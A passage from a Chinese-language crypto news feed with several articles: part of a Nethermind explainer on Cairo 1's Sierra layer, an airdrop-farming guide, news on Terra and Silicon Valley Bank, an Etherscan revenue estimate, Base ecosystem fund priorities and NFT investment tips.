为确保已经附加的先前使用的数组实例不会被重复使用，Sierra 使用线性类型系统确保对象仅使用一次。因此，任何已经被附加的 Array 实例不能在另一个 array_append 调用中重复使用。 下面的代码显示了一个 Sierra 程序的片段，该程序创建了一个 felt 数组，并使用 array_append 库函数两次追加值 1。在代码中，第一个 array_append 调用使用 id [0] 的数组变量作为输入，并返回一个表示更新的数组的 id [2] 变量。然后将此变量用作下一个 array_append 调用的输入参数。重要的是要注意，一旦被库函数使用，id [0] 的变量就不能被重复使用，尝试使用 id [0] 作为输入参数调用 array_append 将导致编译错误。 array_new() -> ([0]); felt_const() -> ([1]); store_temp([1]) -> ([1]); array_append([0], [1]) -> ([2]); felt_const() -> ([4]); store_temp([4]) -> ([4]); array_append([2], [4]) -> ([5]); 对于可以多次重新使用的对象，比如 felts，Sierra 提供了 dup(T) -> (T,T) 函数，返回两个相同对象的实例，可以用于不同的操作。 这个函数仅适用于安全可复制的类型，通常是不包含数组或字典的类型。 通常使用断言来评估代码中特定点布尔表达式的结果。如果评估结果不符，就会引发错误。与 Cairo 0 中不同，Cairo 1 断言指令的编译将生成分支 Sierra 代码。如果不满足断言，则该代码将提前终止当前函数执行，并继续执行下一条指令。 字典和数组一样存在多次添加值的问题，可以通过引入特殊的 Dict 类型和一组工具函数来实例化、检索和设置字典中的值来解决这个问题。然而，字典存在一个健全性问题。每个 Dict 都必须在程序结束时调用 dict_squash(Dict) -> () 函数来压缩，以验证键更新序列的一致性。未压缩的字典是危险的，因为恶意证明者可以证明不一致更新的正确性。 正如我们之前所见，线性类型系统强制对象只能使用一次。唯一使用“使用”Dict 的方法是调用 dict_squash 函数，该函数使用字典实例并不返回任何内容。这意味着在将 Sierra 代码编译为 CASM 时将检测到未压缩的字典，并在编译时引发错误。对于其他不需要一次性使用的类型，通常是不包含 Dict 的类型， Sierra 引入 drop(T)->() 函数，该函数使用对象的实例并不返回任何内容。 值得注意的是，drop 和 dup 都不会产生任何 CASM 代码。它们仅在 Sierra 层提供类型安全，确保变量仅使用一次。 确定程序最终会停止或永远运行是计算机科学中的一个基本问题，被称为停机问题，在一般情况下是无法解决的。在像 Starknet 这样的分布式环境中，用户可以部署和运行任意代码，因此防止用户运行无限循环代码是很重要的，例如以下 Cairo 代码。 fn foo() { foo() } 由于递归函数如果停止条件永远不满足就可能导致无限循环，因此 Cairo-to-Sierra 编译器将在递归函数开头注入withdraw_gas方法。由于该功能尚未实现，因此开发人员仍需要在递归函数中调用withdraw_gas并自行处理结果，尽管在未来版本中应该会包含在编译器中。 该withdraw_gas 函数将通过计算函数中每条指令的运行成本来从交易总可用 Gas 中扣除运行函数所需的 Gas 数量。成本是通过确定每个操作需要多少步来分析的，大多数操作的步在编译时是已知的。在 Cairo 程序执行期间，如果withdraw_gas 调用返回 null 或负值，则当前函数执行会停止，所有待处理的变量都将通过对未压缩字典调用dict_squash 和对其他变量调用drop 来消耗，并将被认为是执行失败。由于 Starknet 上的所有交易都有一个有限的可用 Gas 量来执行交易，因此避免了无限循环，并通过确保仍有足够的 Gas 可用来删除变量并停止执行，排序器将能够从事务失败中收取费用。 通过一组有限的指令实现安全的 CASM Sierra 的主要目标是确保生成的 CASM 代码不会失败。为实现这一目标，Sierra 程序由调用 libfuncs 的语句组成。这些是一组内置库函数，为这些函数生成的 CASM 代码是保证安全的。例如，array_append 库函数生成的安全 CASM 代码可用于将值附加到数组中。 通过仅允许一组安全和可信赖的库函数来实现代码安全的这种方法类似于 Rust 编程语言的哲学。通过提供一组安全和可信赖的抽象，这两种语言都有助于避免常见的编程错误，并增加代码的安全性和可靠性。Cairo 1 使用了与 Rust 类似的所有权和借用系统，为开发人员提供了一种在编译时推理代码安全性的方式，这有助于防止错误并提高整体代码质量。 本文旨在为读者提供通用信息和理解，不表示 Nethermind 支持任何特定资产、项目或团队，也不保证其安全性。Nethermind 没有明示或暗示地向本文中包含的信息或观点的准确性或完整性作出任何陈述或保证。任何第三方不得以任何方式依赖本文，包括但不限于金融、投资、税收、监管、法律或其他建议，或将本文解释为任何形式的建议。 请注意，虽然 Nethermind 为 Starkware 提供服务，但本文不是这些服务的一部分。 Nethermind 是一个由世界级建设者和研究者组成的团队。我们为全球企业和开发人员提供访问和构建去中心化 Web 的能力。我们的工作触及 Web3 生态系统的每个部分，从 Nethermind 节点到基础密码学研究和 Starknet 生态系统的基础设施。发现我们的 Starknet 工具套件：Solidity 转 Cairo 编译器 Warp、StarkNet 区块浏览器 Voyager、针对 StarkNet 智能合约的开源形式验证工具 Horus、StarkNet 客户端实现 Juno，以及 Cairo 智能合约安全审计服务。 如果您有兴趣解决一些区块链中最困难的问题，请访问我们的求职信息！  ( 7 min )
    错过了 OP、ARB？别急，还有这 10 个热门空投项目
    你是否因错过了 Arbitrum 空投而感到惋惜？ 上周，$ARB 空投获得者平均赚了 2350 美元。像 $ARB、$OP 和 $APT 这样的空投让很多空投猎人成为了百万富翁。 不用急，在本文中，我们整理了即将到来的所有热门空投项目以及交互策略，助你找寻下一个顶级 Airdrop。 zkSync 是以太坊的第 2 层扩展解决方案，可提供低 Gas 和快速交易，而不会影响安全性。 zkSync 在投资方面是重量级人物，从 VCs 那里筹集了创纪录的 4.58 亿美元，其中包括以太坊基金会、a16z 和 Coinbase。 zkSync 开发商 Matter Labs 的 CEO 暗示 $ZKS 将在大约一年后发布，进一步提高了 zkSync 的空投概率。 zkSync 筹集了 4.58 亿美元的资金，而 Arbitrum 筹集了 1.2 亿美元，所以你可以想象这个空投有多大。 Matter Labs 的 CEO 暗示 $ZKS 将在大约一年后发布，这也是对 zkSync 空投的确认。 网上已有很多关于 zkSync 1.0（Lite）的测试教程，今天我们重点看 2.0（Era）。 设置钱包： 在 metamask 上添加 zkSync Era 主网（https://chainlist.org/chain/324） 使用 zkSync 的官方跨链桥，向 zkSync 网络转入 ETH，并取回少量 ETH： •打开https://portal.zksync.io/> 将钱包与以太坊主网连接。 •输入 ETH 数量（建议至少存入 0.02 个ETH，如果能存入 0.1 个ETH，就领先了 80% 的用户）>点击“存入”> 钱包确认。 •点击“取款” > 然后取出少于你存入的 10% 的 ETH。 测试部分在 zkSync Era 上运行的 dApp（使用更多资金来交互，增加空投机会）。 在 Mute Switch 上交易、添加流动性： •打开https://app.mute.io/，并连接钱包（zkSync Era） •将部分 ETH 交换成 MUTE •将部分 ETH 交换成 USDC •为 USDC/ETH 或 MUTE/ETH 添加流动性。 以相同的流程交互 SpaceSwap：https://swap-zksync.spacefi.io/#/swap 在 Mint Square 铸造并交易 NFT： •打开https://mintsquare.io/zksync并连接钱包。 •点击主页上的“Mint”。 •上传任意图片 > 给它起个名字 > 点击“Mint” > 在钱包上确认。 •上架出售刚铸造的 NFT > 在市场上购买一个任意的 NFT 2、LayerZero LayerZero 是一个全链互操作性协议，旨在使不同的区块链更容易相互连接。它可以用于资产跨链和消息传递。 LayerZero Labs 最近从 VCs 筹集了超过 1.7 亿美元，包括 a16z、红衫资本、Binance Labs。 LayerZero 可能会将其代币分发给基于其构建的协议的用户。 资金跨链： 通过 http://theaptosbridge.com/bridge和 http://bridge.liquidswap.com，将资金从 Arbitrum 或 Polygon 等费用低的网络跨链到 Aptos 网络。建议至少跨链 100 美元至 10,000 美元的资金。 交互 Stargate Finance： • 质押 $STG • 在 http://snapshot.org/#/stgdao.eth 上用 $veSTG 投票 • 通过该平台跨链资金 • 为跨链桥提供流动性 交互 Rage Trade： • 合约交易 • 将 USDC 存入金库 交互 RDNT Capital： • 存入和借出代币 要获得 LayerZero 的空投资格，你应该每周至少一次使用上述所有协议。 StarkNet 是一个去中心化的 ZK-Rollup。它作为以太坊上的 L2 网络运行，允许任何 dApp 因其计算实现无限规模。 StarkWare Industries（开发商） 从 VCs 筹集了超过 2.8 亿美元，包括红衫资本、a16z、Paradigm。 StarkNet 已经发展成为了一个非常大的生态系统，包括 DeFi 协议、NFT、钱包、GameFi 项目等等。因此，StarkNet 团队很可能会将 $STARK 空投给其网络上关键项目的用户。 想要最大化你的空投，请按照以下步骤操作。 设置钱包： 安装 Argent X 并创建一个 StarkNet 钱包（https://chrome.google.com/webstore/detail/argent-x/dlcobpjiigpikoobohmabehhmhfoodbb） 资产跨链： 使用http://starkgate.starknet.io或http://orbiter.finance将 ETH 从以太坊跨链到 StarkNet 。 交互 dApp： •在 10KSwap 上交易、添加流动性。（https://10kswap.com/） •在 mySwap 上交易、添加流动性。（https://www.myswap.xyz/） •在 JediSwap 上交易、添加流动性。（https://app.jediswap.xyz/） •在 Nostra Finance 上存入、借出代币。（https://alpha.nostra.finance/） •在 Mint Square 上铸造、买卖 NFT。（http://mintsquare.io） 每周交互一次上述的所有协议（进行 1-2 笔交易）。 Lens Protocol 是社交应用程序的去中心化社交图谱协议，它统一了你在所有支持 Lens 的应用程序上的个人资料、受众和内容。与 ENS 域名类似，你的个人资料可以在市场上进行交易。 Lens Protocol 的领投方是 FTX，但可能还有其他尚未公布的 VC。并且未来有可能会有新的投资轮次。 由于该协议有向 DAO 的过渡以及未来启用协议费用的计划，因此 $LENS 代币空投似乎是有可能的。 请按照以下步骤增加你获得空投的机会。 Lens 配置文件有 2 种方法可以获得： • 如果你符合条件，可以申请个人资料（https://claim.lens.xyz） • 或者在 Opensea 上购买一个，底价约 160 美元（https://opensea.io/collection/lens-protocol-profiles） 交互部分基于 Lens Protocol 的 dApp。 交互 LensFrens： • 打开https://lensfrens.xyz，并连接钱包 • 使用你的 Lens 个人资料关注其他人（建议关注超过 50 人） 交互 Lenster： • 打开https://lenster.xyz，并连接钱包 • 自定义编辑你的个人资料，添加你的 Twitter • 定期发帖 • 点赞/评论其他帖子 交互 LensTube： • 打开https://lenstube.xyz • 连接个人资料 • 发布视频 • 定期点赞/评论其他视频，保持活跃 交互 memester： • 打开https://memester.xyz • 连接个人资料 • 创建模因 • 收集和评论其他模因 交易 Lensport（帖子交易市场）： • 打开https://lensport.io，并连接钱包 • 交易你的帖子 • 铸造其他帖子 Scroll 是以太坊上基于 zkEVM 的 zk-Rollup，它可以原生兼容现有的以太坊应用程序和工具。这对开发人员来说是一件非常有用的事情，可以节省他们很多时间并让他们的工作更轻松。 该项目从 VCs 筹集了 8000 万美元，包括 PolyChain、红衫资本、Variant Fund。 Scroll 有可能为它们的早期用户提供慷慨的空投。 设置钱包： 将 Goerli 测试网 和 Scroll Alpha 测试网添加到 Metamask 中（在http://scroll.io/alpha一键添加） 资金跨链测试： •在 Goerli 上获取 ETH 测试币（http://goerlifaucet.com） •从 Goerli 测试网将 ETH 测试币跨链到 Scroll Alpha 测试网（http://scroll.io/alpha/bridge） 交互 Scroll 的 Uniswap： • 将 ETH 换成代币 • 添加流动性 6、Base Base 是一个安全、低成本、对开发人员友好的 L2 区块链，旨在将更多 Web2 用户带入 Web3。Base 将作为 Coinbase 的“链上家园”和任何人都可以使用的开放生态系统。 Base 由 Coinbase、Optimism 这两个行业巨头共同打造，它们的丰富经验将有助于确保项目的成功。 Base 团队表示不会有 $BASE 代币，但我们知道其他 L2 如 Arbitrum 或者 Optimism 在为活跃用户空投之前也这样说。 设置钱包： • 在 Metamask 中添加 Goerli 测试网（https://chainlist.org/?search=goerli&testnets=true） • 获取 ETH 测试币（https://goerlifaucet.com） • 在 MetaMask 中添加 Base Goerli 测试网，使用 Chainlist 一键添加（https://chainlist.org/?search=base+goerli&testnets=true） 资产跨链测试： • 打开https://bridge.base.org/deposit，连接钱包 • 将Goerli 测试网的 ETH 测试币，跨链到Base Goerli 测试网 使用 L2 跨链协议 Orbiter Finance，经常与其他 L2 网络进行交互： • https://rinkeby.orbiter.finance/?dest=zkSyncEra(G)&source=Base(G)&sources=&dests= • 对不同的链进行多次跨链（在不同的时间里，总共交互超 50 笔交易） 完成 Layer3 任务： https://layer3.xyz/quests/intro-to-base 获取公会角色： • 前往 https://guild.xyz/buildonbase • 连接您的钱包和账户 • 完成任务 要获得两个以上的角色，你需要持有 2 个 NFT： • http://opensea.io/collection/base-introduced ($4.3) • http://opensea.io/collection/base-subscription ($2.6) ZetaChain 是一个 L1 区块链，支持全链、通用智能合约和任何区块链之间的消息传递。 融资信息暂未公开，但 Delphi、Amber Group、The Soartan Group 都关注了 ZetaChain 的推特账号。这些 VCs 可能投资了 ZetaChain。 要获得 $ZETA 空投的资格，遵循以下步骤： 测试网、钱包设置： • 在 Metamask 中添加 Goerli testnet 网络（https://chainlist.org/?search=goerli&testnets=true） • 获取 ETH 测试币（https://goerlifaucet.com） • 在 Metamask 中添加 Polygon Mumbai 测试网（https://chainlist.org/?search=mumbai&testnets=true） • 获取 MATIC 测试币（https://goerlifaucet.com） 获取 $ZETA 测试币： • 打开 http://labs.zetachain.com/get-zeta，并连接钱包 • 点击“获取资产” 官方测试任务（交易 $ZETA/$ETH/$MATIC）： 对于此任务，你每周将获得 7,000 ZetaPoints。所以不要忘记每周重复一次交易。 • 打开 http://labs.zetachain.com/swap，并连接钱包 • 将一种资产从一个网络，交换为另一个网络的另一种资产 完成 Galxe 任务并领取 OAT： http://galxe.com/ZetaChain/campaign/GCatUUwYSY 完成 Crew3 任务： https://crew3.xyz/c/zetachain/invite/pEpGZI_HGMl0LRIIN50uy Fuel 是最快的模块化执行层，可提供最大的安全性和灵活的吞吐量。这是通过以下方式实现的： • 并行事务执行 • Fuel 虚拟机 (FuelVM) Fuel Labs 在 Blockchain Cap 和 Stratos 领投的一轮融资中筹集了 8000 万美元。 Fuel 生态系统不断发展，现在已经有 30 多个 dApp 构建在其中。 dApp列表：https://fuel.build Fuel 可能会向基于其区块链的关键项目的用户空投 $FUEL。 安装 Fuel Labs 钱包： • 打开 https://wallet.fuel.network/docs/install/ • 下载钱包 • 转到 Chrome 扩展程序并打开开发模式 • 拖拽钱包的 ZIP 文件进行安装 获取 ETH 测试币： • 打开 https://faucet-beta-3.fuel.network • 输入钱包地址 定期测试你的钱包（签署消息、转移资金和添加资产）： • 前往 https://wallet.fuel.network/docs/how-to-use/ • 向下滚动并点击“连接” • 向下滚动并与“绿色按钮”互动 交互 dApp： •在 SwaySwap 上交易、添加流动性。（https://fuellabs.github.io/swayswap/） • 测试 Fuel 上的 NFT 市场 Thunder，申请内测：https://q26om88816b.typeform.com/to/uq4trEq3?typeform-source=medium.com Shardeum 是一个基于权益证明（PoS）和法定人数证明（PoQ）共识机制运行的 L1 区块链。由于动态状态分割，Shardeum 可以提供非常低的 Gas 费用，同时保持真正的去中心化和可靠的安全性。 该项目在 TheSpartanGroup 领投的种子轮融资中筹集了 1800 万美元。 $SHM 代币经济学： • 最大供应量：5.08 亿枚代币 • 51% 社区 - 对节点的奖励 • 18% 销售 • 15% 团队 • 11% 基金会 • 5% 生态系统 Shardeum 提供了大量赚取 $SHM 代币的机会： • 51% 的代币分配给社区作为运行节点的奖励。 • 5% 的代币分配给 Shardeum 生态系统的用户。 方法如下。 在 MetaMask 中添加测试网络： • 添加 Shardeum Liberty 1.X 测试网（https://chainlist.org/chain/8080） • 添加 Shardeum Liberty 2.X 测试网（https://chainlist.org/chain/8081） 获取测试代币： • 加入 Discord（https://discord.gg/shardeum） • 进入水龙头 1.6 和 2.1 频道 • 填写钱包地址 交互 dApp： •在 Swapped Finance 上交易、添加流动性。（https://app.swapped.finance/swap） • 在 NFT 市场 Spriyo Market 上铸造 NFT。（https://spriyo.xyz） • 在域名服务 Dotshm Domains 上注册一个域名。（https://dotshm.me） 运行节点： 运行节点的空投已经确认。如果你是开发者，请查看官方关于设置节点的指南： https://docs.shardeum.org/node/run/validator Rage Trade 正在构建流动性最强、可组合且唯一的全链杠杆协议（由 UNI v3 提供支持）。 确切的投资规模尚未公布，但它获得了 CMS Holdings、Zee Prime、Robot Ventures 等 VCs 的投资。 Rage Trade 团队多次暗示将有 $RAGE 空投给用户。此外，通过使用 Rage Trade，你将有机会同时获得 $RAGE 和 $ZRO 空投，该协议也适用于获取 LayerZero 空投。 按照以下步骤交互，增加空投机会： •进行交易（建议在 1-2 周内至少进行 5-10 次交易，每笔交易的价值不应低于 100 美元） •将 $USDC、$GLP 和 $ETH 存入金库。Rage Trade 有两种类型的金库：Risk-On 和 Risk-Off。Risk-On 金库有风险，但同时它提供了更高的 APY。如果你只想获得空投，我建议将 $USDC 存入 Risk-Off 金库。 •90% 的 Rage Trade 用户在金库中存入的资金少于 1,000 美元，因此我建议您至少存入 1,100 美元，才有资格获得空投。 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 10 min )
    韩国检方再次寻求逮捕Terra联创Daniel Shin
    PANews 3月27日消息，据彭博社报道，韩国首尔检察官办公室周一证实，他们正再次寻求逮捕Terra联创Daniel Shin，但没有提供更多细节。Shin的律师没有立即回应置评请求。Shin的律师此前表示，Shin于2020年从Terraform Labs分离出来，此后一直没有参与其运营。 此前去年12月消息，韩国法院驳回对Terra联创Daniel Shin逮捕令。首尔检察官去年表示，Shin面临欺诈、失职、违反资本市场法和非法集资等指控。Do Kwon近日在黑山被捕，韩美双方均寻求将其引渡。  ( 4 min )
    8000万月访问，年赚千万美元，解密区块链浏览器Etherscan背后的生意经
    原文：《Etherscan: The Master of Block Explorers》by Launchy 编译：深潮 TechFlow Etherscan 是一个帮助用户浏览以太坊区块链的工具，更常被称为区块链浏览器，每月有 8000 万次的访问量。一直以来，Etherscan 是加密货币领域中最受欢迎和广泛使用的工具之一。 借助 Etherscan，用户可以轻松地分析以太坊区块链上的区块交易。通过该平台，所有人都能够享受到区块链技术的核心原则之一：透明度。从在链上调查可疑的“Rug”行为的侦探到监视大规模资金流动的交易者，Etherscan 为我们提供了必要的工具来更好地了解区块幕后发生了什么。 Etherscan 没有代币。虽然它在加密 Web3.0 生态系统的核心运作，但 Etherscan 被认为更像是“传统的 SaaS 业务”，并不完全是本地化的区块链应用。它只是为用户提供了更好地理解区块链交易的工具。 自 2015 年成立以来，Etherscan 已成为首选的区块链浏览器。到 2023 年，Etherscan 已扩展到 18 个以上的区块链。 Etherscan 如何赚钱？ Etherscan 像许多其他软件公司一样，通过提供服务来创造收入。尽管 Etherscan 也提供了一些 B2B 产品，但它主要是一个 B2C 业务。不过，广告成为 Etherscan 创收的一个重要因素。 在更高的层面上，Etherscan 从以下方面产生收入： 让我们进行一些收入估算。 如果 Etherscan 拥有 100 万订阅用户，根据 CPM 的不同，每期新闻简报的收费可以在 2 万到 5 万美元之间。由于该新闻简报并不是“核心”业务，我们也没有讨论打开率，因此假设价格折扣为 50%。 Etherscan 每期新闻简报可以收取 1 万到 2.5 万美元的费用（每月发布一次新闻简报）。总体而言，他们可以从新闻简报中获得每月 1 万到 2.5 万美元的收入。 网站广告分为四种类型，包括主页横幅广告、横幅广告、页头文本广告和按钮广告。 老实说，这个收入非常依赖 Etherscan 决定如何变现。正如下面的例子所示，它取决于行业领域、变现方法以及行业的状况。 根据网站流量来估算广告收入非常棘手，因为它根据行业、领域和地理位置而变化很大。就一个背景而言，每 1000 次浏览可以从 0.10 美元到 50 美元不等。 超级通用的公式是：每月流量/1000 * RPM。 RPM 的变化范围约为每 1000 次展示 15 美元到房地产保险等特定领域的 100 美元。让我们假设加密货币的 RPM 在 30-50 美元之间。 使用极其粗略的估计，我预测 Etherscan 的能力实现商业化，以及有 4 个不同的广告位置和加密货币更高的 RPM 率将为 Etherscan 带来： 如果我们假设 Etherscan 能够以最低价格（199 美元/月）将以下百分比的独立访客（800 万）转化为买家： 至于 Etherscan 的 Explorer-as-a-Service（EaaS），它更像是一次性交易（或许有一些保证金费用）。该网站列出的大多数链上服务、代币授权和区块扫描聊天仍处于测试阶段。 因此，我们估计这将年度收入在低七位数范围内（100 万到 300 万美元）。 根据 LinkedIn 的信息，Etherscan 有 29 名员工。LinkedIn 将前 5 个“部门”分类如下： 让我们创建一个场景来估算 Etherscan 在上述 5 个部门上需要花费多少资金： 总的来说，对于上述 5 个部门，Etherscan 每年需要花费 250 万到 433 万美元。 但是，重要的一点是，Etherscan 的运营地点在马来西亚——这将大幅降低薪资支出。更现实的假设是将年度头数支出的费用减半，即每年 125 万到 215 万美元。 正如往常一样，这个数字只是头数支出评估。它不包括其他运营成本，如第三方供应商、办公空间等。 我们的估计得出以下结果： Etherscan 的收入：每年 623 万到 2149 万美元。 我们的粗略估算结果是： 对 Etherscan 而言，洞察业务是非常合理的选择。 他们拥有所有区块链数据，可以推出类似 Dune 的控制面板或 Nansen 的钱包标记等产品。这似乎是 Etherscan 相对轻松地扩展垂直领域，无需投入过多资源的一种方式。 事实上，Etherscan 没有利用这一趋势表明他们已经在他们征服的领域（原始区块链数据）和品牌（网站流量/广告收入）上已经非常盈利。 Etherscan 处于一个良好的位置。他们不在美国，也没有推出任何代币。随着区块链生态系统的成熟，让我们期待着这个无可争议的区块浏览器之王如何进入市场。  ( 6 min )
    FDIC：第一公民银行已收购硅谷银行，并承担其所有存款和贷款
    PANews 3月27日消息，美国联邦存款保险公司 (FDIC) 在其官网上宣布，联邦存款保险公司（FDIC）与第一公民银行和信托公司（First–Citizens Bank & Trust Company）就Silicon Valley Bridge Bank（硅谷银行过渡银行）所有存款和贷款签订了购买和承担协议。硅谷银行过渡银行的17家前分行将于当地时间3月27日作为第一公民银行和信托公司开业。 截至2023年3月10日，硅谷银行过渡银行总资产约为1670亿美元，总存款约为1190亿美元。今天的交易包括以165亿美元的折扣价购买约720亿美元的硅谷银行过渡银行，这是National Association的资产。约900亿美元的证券和其他资产仍将处于接管状态，等待FDIC处置。此外，FDIC还获得了第一公民银行股份有限公司(First Citizens BancShares, Inc.)的股权增值权，这些普通股的潜在价值高达5亿美元。 FDIC估计，硅谷银行倒闭对其存款保险基金 (DIF) 造成的损失约为200亿美元。确切的成本将在FDIC终止接管时确定。  ( 4 min )
    一览Base生态基金四大支持方向，市场的下一个趋势？
    作者：Base 编译：Felix, PANews 此前Coinbase在2月23日发布公告，宣布推出安全、低成本、对开发者友好的以太坊Layer2 Base。愿景是共同努力，将下一个十亿用户带到链上。在宣布成立Base的同时，还宣布了Base生态系统基金，这是一个投资基于Base网络的早期（种子前到种子）项目的资金池，并结合Base团队的专门支持以帮助项目取得成功。 在过去的三周里，很多人对加入Base生态系统基金产生了兴趣，并提出了各种各样的想法。除了一系列提案，在过去几周里，Base还讨论了认为对帮助链上经济增长至关重要的事情。基于这些讨论，Base正在开放建设者的申请，以促进在关键领域建设。 在深刻思考在去中心化稳定币的设计中，Base对“flatcoin”很感兴趣，这种稳定币可以跟踪通货膨胀率，使用户具有稳定的购买力，同时也具有弹性，能抵御金融系统造成的经济不确定性。Base也欢迎其他形式的“flatcoin”，不与法币挂钩，而是填补法币挂钩代币和不稳定加密资产之间的空间。鉴于全球银行体系近期面临的挑战，Base认为这些探索比以往任何时候都更为重要。 此外，Base很高兴听到一些团队正在探索他们自己的稳定币/flatcoin系统，或者专注于如何增加现有系统（如Reflexer/RAI, Spot/Ampleforth, Frax/FPIS, Olympus DAO等）的采用。 Base认为，区块链是下一个互联网，去中心化的身份和声誉将在定义每个人的链上角色方面发挥关键作用。通过支持原生链上实体的信誉协议，有机会在链上创建更多的信任。这可能看起来像ENS名称上的FICO或谷歌页面排名类型评分，商家的评级/评论，以及其他有助于在链上建立信任的措施。Base乐见于团队深入思考链上声誉和信用是什么样子，以及如何利用这些系统，同时保护用户隐私和自主权。 虽然Base相信现有的交易所产品（例如AMM）非常有用，并且是关键的DeFi基础设施，但LOB仍有用武之地，尤其对专业交易员和机构而言。Base的高吞吐量将为设计现货交易、限价单、期权、永续权等新机制提供了新机会。而且，建设者可以使用OP Stack之类的开源工具来构建L3，在带来更快的速度和更强的控制力的同时，也有可能增加流动性的深度，而且可以通过L2访问。 随着DeFi生态系统的不断发展，Base认为需要更好的工具，让用户和开发人员能够跟上创新的步伐，同时保证资金安全。 包括可以防止智能合约代码漏洞或协议逻辑错误的工具（例如，自助安全测试工具，审计服务），帮助减轻生态系统攻击影响的工具（例如，威胁预防，断路器和事件响应系统），以及最终的链上保险和覆盖协议，或任何其他可以在智能合约失败时为用户提供关键支持的产品。 建设者正在构建系统、协议和工具，使每个用户都可以在链上存储他们所有的资金。Base认为，这些基础设施对于吸引下一个十亿用户是绝对必要的。 不要为了在Base上建设或申请Base生态系统基金，而被迫选择上述想法中的任何一个。借用Y Combinator的一句话： “对RFS（Ready For Service）的回应永远不会成为我们资助谁的决定性因素。正如我们多次说过的，人比想法更重要。另外，除非您真的对某件事感兴趣，否则您不可能把它做好。所以，如果您有其他的创意，就不要局限于RFS中所描述的想法。这样才更有可能获得资金来研究您真正喜欢的想法。”  ( 4 min )
    PA图说 | 一图掌握Polygon上NFT一周关键数据（03.20—03.26）
    PANews APP 2.0 全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    解读NFT发展最新趋势：如何进行建立优质投资策略？
    编译 | Cindy SophonLabs NFT已经诞生约10年，经历了从最初的艺术创作和思想实验到近两年深度融合市场的发展历程，呈现出明显的周期性。从宏观角度来看，这是新兴产物发展的必经之路：从默默无闻到广受欢迎，NFT经历了从零价值到泡沫化的过程，最终回归到符合自身定位的价值，成为Web3实际使用的产物。 尽管NFT市场前景广阔，但其价值波动性相对较大。一些NFT作品的价格在短时间内涨幅巨大，但也有一些作品的价格在较短时间内大幅下跌。因此，投资者需要谨慎评估风险，并选择合适的投资策略。 一个周期中NFT发展的几个关键阶段： 最近，说明我们处在泡沫破裂期的晚期，NFT呈现量价齐跌的态势。一般NFT的周期会比加密货币市场更迟钝，大概存在半年间隔。加密货币市场于今年年初还是复苏，则NFT市场约从年中开始。既然我们处在熊末牛初的阶段，可以适度关注和定投超跌的蓝筹项目，耐心等待。在NFT市场中，蓝筹NFT系列通常是指那些已经被市场认可并且表现出高度稳定的价值的项目。类似于传统股市中的蓝筹股投资，这些项目属于知名企业或者是备受推崇的艺术家，他们的作品具有一定的历史价值、文化价值和专业价值，能够长期保持市场价值的稳定。与此相比，其他NFT项目可能存在更大的波动性和风险性。根据2022年第二季度Dapp行业报告的分析，蓝筹NFT收藏品被认为是比加密货币本身更安全的资产类别，这是因为它们的价值通常是基于实际的物理或数字资产，而不仅仅是纯粹的数字货币。此外，蓝筹NFT收藏品的拥有者通常是高净值个人或机构，他们的投资决策更加理性和稳健，不容易受到市场情绪的影响。因此，蓝筹NFT收藏品被视为一种相对安全的投资选择，而且在未来的发展中也有可能会继续保持其稳定的市场价值。成为蓝筹的原因：蓝筹NFT收藏品的价值主张通常是长期的，这些项目的背后往往有一个在行业中拥有稳固且良好声誉的团队。与其他NFT项目不同，这些代币通常有一个明确的用例，而不仅仅是为了投机。此外，蓝筹NFT收藏品往往拥有一个充满激情的社区，这些社区成员通常都对该项目的长期价值潜力感到非常乐观。我们来盘点3个优秀的蓝筹项目： CryptoPunks CryptoPunks 是以太坊上的第一个 NFT 项目，至今仍然是最受欢迎的项目之一。几乎该领域的每个人都听说过。 CryptoPunks是2017年在以太坊区块链上创建的第一个NFT项目，由Larva Labs开发。它包含了10,000个8位像素风格的人物头像，每个头像都有自己的独特特征和属性，如眼睛、发型、帽子、口罩等，每个头像都是不可替代的，因此非常有价值。 CryptoPunks的创意和独特性使得它迅速赢得了人们的青睐和关注，它成为了NFT市场的里程碑之一。由于CryptoPunks的成功，它激励了更多的NFT项目的诞生，如Bored Ape Yacht Club、Meebits等。 Bored Ape Yacht Club Bored Ape Yacht Club是基于以太坊区块链的一个集合，包含了10,000个Bored Ape NFT，这些NFT是通过生成式创建的，因此非常珍贵。 Bored Ape Yacht Club（BAYC）是一个基于以太坊区块链的NFT项目，由一组独特的猿类NFT组成，每个猿类NFT都有自己独特的特征和属性，如表情、服装、配饰等。BAYC的猿类NFT是通过生成式艺术创建的，因此每个NFT都是独一无二的。 Bored Ape Yacht Club的猿类NFT被认为是非常有价值的数字收藏品，因为它们的数量有限且独特。持有BAYC的猿类NFT的人可以获得许多特权，例如获得社区成员的身份、独家活动和社交聚会的邀请等。 Bored Ape Yacht Club的成功吸引了许多人的关注和投资，其中一些猿类NFT的价格已经飙升到数百万美元。Bored Ape Yacht Club也成为了NFT市场的代表性作品之一，它的成功也激励了更多的NFT项目的诞生。 Azuki Azuki是一个基于以太坊区块链的NFT项目。Azuki的NFT是通过生成式艺术创建的，因此每个NFT都是独一无二的。Azuki的NFT被认为是非常有价值的数字收藏品，因为它们的数量有限且独特。持有Azuki的NFT的人可以获得许多特权，例如获得社区成员的身份、独家活动和社交聚会的邀请等。 Doodles Doodles是一个基于以太坊区块链的NFT项目，由一组独特的卡通形象组成，每个形象都有自己独特的特征和属性，如面部表情、服装、配饰等。Doodles的NFT是通过生成式艺术创建的，因此每个NFT都是独一无二的。 了解NFT市场的基本知识 在投资之前，投资者需要了解NFT的基本知识，包括NFT的概念、交易流程、市场规模等。这有助于投资者更好地理解NFT市场的风险和机会。 选择高品质的NFT作品 NFT市场上有很多低质量的作品，投资者需要选择高品质的NFT作品。这些作品通常由知名艺术家或品牌发行，具有较高的收藏价值和潜在的升值空间。 谨慎评估投资风险 尽管NFT市场前景广阔，但其价值波动性相对较大。投资者需要谨慎评估风险，并选择合适的投资策略。例如，可以根据自己的投资偏好和风险承受能力，选择长期持有还是短期交易。 关注NFT市场的最新动态 NFT市场的发展速度非常快，投资者需要时刻关注市场的最新动态。这有助于投资者更好地把握市场机会，并及时调整投资策略。 